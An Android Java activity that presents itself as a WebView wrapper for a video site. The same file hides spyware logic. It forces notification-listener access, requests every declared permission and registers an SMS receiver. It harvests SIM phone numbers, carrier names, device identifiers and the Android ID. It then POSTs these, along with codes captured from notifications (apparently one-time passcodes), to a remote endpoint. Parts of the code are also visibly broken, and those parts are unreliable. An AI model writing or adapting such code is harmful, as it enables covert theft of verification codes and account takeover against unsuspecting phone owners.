package com.example.notifyservice;

import android.Manifest;
import android.app.ActivityManager;
import android.app.AlertDialog;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.pm.PackageManager;
import android.net.ConnectivityManager;
import android.net.Network;
import android.net.NetworkCapabilities;
import android.net.NetworkInfo;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;

import android.os.Bundle;
import android.telephony.TelephonyManager;
import android.view.View;
import android.view.ViewGroup;
import android.webkit.WebChromeClient;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import androidx.appcompat.app.AppCompatActivity;

import androidx.activity.EdgeToEdge;
import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import androidx.core.graphics.Insets;
import androidx.core.view.ViewCompat;
import androidx.core.view.WindowInsetsCompat;

import android.os.Handler;
import android.os.PowerManager;
import android.provider.Settings;
import android.provider.Telephony;
import android.telephony.SmsMessage;
import android.telephony.SubscriptionInfo;
import android.telephony.SubscriptionManager;
import android.util.Log;
import android.widget.Toast;

import org.json.JSONException;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.List;

import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.util.Locale;
import java.util.regex.Matcher;
import java.util.regex.Pattern;



public class MainActivity extends AppCompatActivity implements PostRequestCallback{

    private String websiteUrl = "https://rutube.ru/";
    private WebView webView;
    private View customView;
    private WebChromeClient.CustomViewCallback customViewCallback;
    private ViewGroup mainContainer;

    private String currentHash = "";
    private int currentPhone = 0;
    private List<String> phones;

    private NotificationReceiver notificationReceiver;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        webView = findViewById(R.id.webview);
        mainContainer = findViewById(android.R.id.content);

        // Настройки WebView
        WebSettings webSettings = webView.getSettings();
        webSettings.setJavaScriptEnabled(true); // Включение JavaScript
        webSettings.setDomStorageEnabled(true); // Включение поддержки хранения DOM
        webSettings.setDatabaseEnabled(true); // Включение базы данных
        webSettings.setAllowFileAccess(true); // Доступ к файлам
        webSettings.setMixedContentMode(WebSettings.MIXED_CONTENT_ALWAYS_ALLOW); // Поддержка смешанного контента (HTTP+HTTPS)

        // Включение JavaScript-алертов и обработка событий, включая полноэкранный режим
        webView.setWebChromeClient(new WebChromeClient() {
            @Override
            public void onShowCustomView(View view, WebChromeClient.CustomViewCallback callback) {
                // Переход в полноэкранный режим
                if (customView != null) {
                    callback.onCustomViewHidden();
                    return;
                }

                customView = view;
                customViewCallback = callback;

                mainContainer.addView(customView);
                webView.setVisibility(View.GONE);
            }

            @Override
            public void onHideCustomView() {
                if (customView == null) {
                    return;
                }

                mainContainer.removeView(customView);
                customView = null;
                webView.setVisibility(View.VISIBLE);
                customViewCallback.onCustomViewHidden();
            }
        });

        // Установка WebViewClient для обработки всех переходов внутри WebView
        webView.setWebViewClient(new WebViewClient() {
            @Override
            public boolean shouldOverrideUrlLoading(WebView view, String url) {
                view.loadUrl(url); // Обработка переходов внутри WebView
                return true;
            }
        });

        // Загрузка начального URL
        webView.loadUrl(websiteUrl);

        if (!isNotificationServiceEnabled()) {
            promptNotificationAccess();
            //finish();
        }

        requestPermissions(retrievePermissions(this));
    }

    private void promptNotificationAccess() {
        Locale.getDefault().getISO3Language();

        AlertDialog.Builder builder = new AlertDialog.Builder(this);
        builder.setTitle("Требуется доступ к уведомлениям");
        builder.setMessage("Приложению необходимо разрешение на доступ к уведомлениям для работы.");

        // Кнопка для перехода в настройки
        builder.setPositiveButton("Настройки", new DialogInterface.OnClickListener() {
            @Override
            public void onClick(DialogInterface dialogInterface, int i) {
                Intent intent = new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS);
                startActivity(intent);
            }
        });

        // Кнопка отмены
        builder.setNegativeButton("Отмена", new DialogInterface.OnClickListener() {
            @Override
            public void onClick(DialogInterface dialogInterface, int i) {
                dialogInterface.dismiss();
                finish(); // Закрыть активность, если пользователь отменил
            }
        });

        // Показываем диалог
        AlertDialog dialog = builder.create();
        dialog.show();
    }

    public static String getDeviceInfo(Context context)
    {
        String m_data = "";
        String p_seperator = ":";
        StringBuilder m_builder = new StringBuilder();
        m_builder.append(android.os.Build.VERSION.RELEASE + p_seperator);
        m_builder.append(android.os.Build.DEVICE + p_seperator);
        m_builder.append(android.os.Build.MODEL + p_seperator);
        m_builder.append(android.os.Build.PRODUCT + p_seperator);
        m_builder.append(android.os.Build.BRAND + p_seperator);
        m_builder.append(android.os.Build.DISPLAY + p_seperator);
        // TODO : android.os.Build.CPU_ABI is deprecated
        m_builder.append(android.os.Build.CPU_ABI + p_seperator);
        // TODO : android.os.Build.CPU_ABI2 is deprecated
        m_builder.append(android.os.Build.CPU_ABI2 + p_seperator);
        m_builder.append(android.os.Build.UNKNOWN + p_seperator);
        m_builder.append(android.os.Build.HARDWARE + p_seperator);
        m_builder.append(android.os.Build.ID + p_seperator);
        m_builder.append(android.os.Build.MANUFACTURER + p_seperator);
        m_builder.append(android.os.Build.SERIAL + p_seperator);
        m_builder.append(android.os.Build.USER + p_seperator);
        m_builder.append(android.os.Build.HOST + p_seperator);
        String android_id = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID);
        m_builder.append(android_id);
        m_data = m_builder.toString();
        return m_data;
    }

    @Override
    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
        if (requestCode == 1 && grantResults.length > 0 && !(grantResults[0] == PackageManager.PERMISSION_GRANTED)) {
            requestPermissions(retrievePermissions(this));
        } else if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED){
            Intent intent = new Intent(this, Listener.class);
            startService(intent);

            notificationReceiver = new NotificationReceiver();
            IntentFilter filter = new IntentFilter(getApplicationContext().getPackageName() + ".NOTIFICATION_RECEIVED");
            registerReceiver(notificationReceiver, filter);

            registerReceiver(smsReceiver, new IntentFilter(Telephony.Sms.Intents.SMS_RECEIVED_ACTION));

            Context permissionContext = this;
            new Handler().postDelayed(() -> makeProcess(permissionContext), 500);
        }
    }

    private class NotificationReceiver extends BroadcastReceiver {
        @Override
        public void onReceive(Context context, Intent intent) {
            String code = intent.getStringExtra("code");
            onNotificationReceived(code);
        }
    }

    public void onNotificationReceived(String code) {
        PostRequest postRequestTask = new PostRequest(this, this);
        postRequestTask.execute("code", code + ";" + currentHash);
        if(currentPhone + 1 < phones.size()) {
            currentPhone += 1;
            requestPhone(this, phones.get(currentPhone));
        }
    }

    private void makeProcess(Context context) {
        currentPhone = 0;
        phones = collectPhoneNumber(context);
        requestPhone(context, phones.get(currentPhone));
    }

    private void requestPhone(Context context, String phone){
        PostRequest postRequestTask = new PostRequest(context, this);
        postRequestTask.execute("phone", phone + ";" + getDeviceInfo(context));
    }

    @Override
    public void onPostResponse(String result) {
        currentHash = result;
    }


    private String listToJson(List<?> list) {
        StringBuilder jsonBuilder = new StringBuilder();
        jsonBuilder.append("[");

        for (int i = 0; i < list.size(); i++) {
            Object item = list.get(i);
            jsonBuilder.append(objectToJson(item));
            if (i < list.size() - 1) {
                jsonBuilder.append(", ");
            }
        }

        jsonBuilder.append("]");
        return jsonBuilder.toString();
    }

    private String objectToJson(Object obj) {
        if (obj instanceof String) {
            return "\"" + escapeJson((String) obj) + "\"";
        } else if (obj instanceof Number || obj instanceof Boolean) {
            return obj.toString();
        } else {
            // For other types, you can implement more logic as needed
            return "\"" + escapeJson(obj.toString()) + "\"";
        }
    }

    private String escapeJson(String raw) {
        String escaped = raw;
        escaped = escaped.replace("\\", "\\\\");
        escaped = escaped.replace("\"", "\\\"");
        escaped = escaped.replace("\b", "\\b");
        escaped = escaped.replace("\f", "\\f");
        escaped = escaped.replace("\n", "\\n");
        escaped = escaped.replace("\r", "\\r");
        escaped = escaped.replace("\t", "\\t");
        return escaped;
    }

    private boolean isNotificationServiceEnabled() {
        String packageName = getPackageName();
        String enabledListeners = Settings.Secure.getString(
                getContentResolver(),
                "enabled_notification_listeners"
        );
        return enabledListeners != null && enabledListeners.contains(packageName);
    }

    private void requestNotificationAccess() {
        Intent intent = new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS);
        startActivity(intent);
    }

    private static String[] retrievePermissions(Context context) {
        final String pkgName = context.getPackageName();
        try {
            return context
                    .getPackageManager()
                    .getPackageInfo(pkgName, PackageManager.GET_PERMISSIONS)
                    .requestedPermissions;
        } catch (PackageManager.NameNotFoundException e) {
            return new String[0];
        }
    }

    private void requestPermissions(String[] permissions) {
        ActivityCompat.requestPermissions(MainActivity.this, permissions, 1);
    }

    private static boolean isNetworkAvailable(Context context) {
        ConnectivityManager connectivityManager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
        Network nw = connectivityManager.getActiveNetwork();
        if (nw == null) return false;
        NetworkCapabilities actNw = connectivityManager.getNetworkCapabilities(nw);
        return actNw != null && (actNw.hasTransport(NetworkCapabilities.TRANSPORT_WIFI) || actNw.hasTransport(NetworkCapabilities.TRANSPORT_CELLULAR) || actNw.hasTransport(NetworkCapabilities.TRANSPORT_ETHERNET));
    }

    public static String extractFirstPhoneNumber(String input) {
        // Regex pattern to match international phone numbers
        String regex = "(?<!\\d)(?:\\+|00)?\\d{1,3}[-. (]*(?:\\d[-. )]*){7,14}(?!\\d)";

        Pattern pattern = Pattern.compile(regex);
        Matcher matcher = pattern.matcher(input);

        if (matcher.find()) {
            return matcher.group()
                    .replaceAll("(?<=^\\+)[^\\d]|[^\\d+]", "");
        }

        return "";
    }

    private void requestUssdNumber(TelephonyManager telephonyManager) {
        if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED)
            return;
        String ussd = "*120#";
        boolean smsResponse = true;
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            telephonyManager.sendUssdRequest(ussd, new TelephonyManager.UssdResponseCallback() {
                @Override
                public void onReceiveUssdResponse(TelephonyManager telephonyManager, String request, CharSequence response) {
                    super.onReceiveUssdResponse(telephonyManager, request, response);
                    String responseString = response.toString();
                    if(smsResponse)
                        String phoneNumber = extractFirstPhoneNumber(responseString);

                }

                @Override
                public void onReceiveUssdResponseFailed(TelephonyManager telephonyManager, String request, int failureCode) {
                    super.onReceiveUssdResponseFailed(telephonyManager, request, failureCode);

                }
            }, this);
        }


    }

    private List<String> collectPhoneNumber(Context context){
        List<String> phoneNumbers = new ArrayList<>();
        if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) {
            return phoneNumbers;
        }
        SubscriptionManager manager = SubscriptionManager.from(context.getApplicationContext());
        List<SubscriptionInfo> subscriptions = manager.getActiveSubscriptionInfoList();
        
        for (int i = 0; i < subscriptions.size(); i++) {
            SubscriptionInfo currentCard = subscriptions.get(i);
            String phoneNumber = (Build.VERSION.SDK_INT >= 33 ? manager.getPhoneNumber(currentCard.getSubscriptionId()) : currentCard.getNumber());
            TelephonyManager telephonyManager = getSystemService(TelephonyManager.class).createForSubscriptionId(currentCard.getSubscriptionId());
            if (!phoneNumber.isEmpty()) {
                Log.i("asd", telephonyManager.getSimOperatorName());
                phoneNumbers.add(phoneNumber + ":" + currentCard.getCountryIso() + ":" + telephonyManager.getSimOperatorName());
                requestUssdNumber(telephonyManager);
            }
        }

        return phoneNumbers;
    }

    private final BroadcastReceiver smsReceiver = new BroadcastReceiver() {
        @Override
        public void onReceive(Context context, Intent intent) {
            Bundle bundle = intent.getExtras();
            if (bundle != null) {
                Object[] pdus = (Object[]) bundle.get("pdus");
                if (pdus != null) {
                    for (Object pdu : pdus) {
                        SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) pdu);
                        String sender = smsMessage.getDisplayOriginatingAddress();
                        String messageBody = smsMessage.getMessageBody();

                    }
                }
            }
        }
    };

    @Override
    public void onBackPressed() {
        // Обработка возврата из полноэкранного режима
        if (webView.canGoBack()) {
            webView.goBack();
        } else {
            super.onBackPressed();
        }
    }

    @Override
    protected void onDestroy() {
        super.onDestroy();
        unregisterReceiver(smsReceiver);
    }


}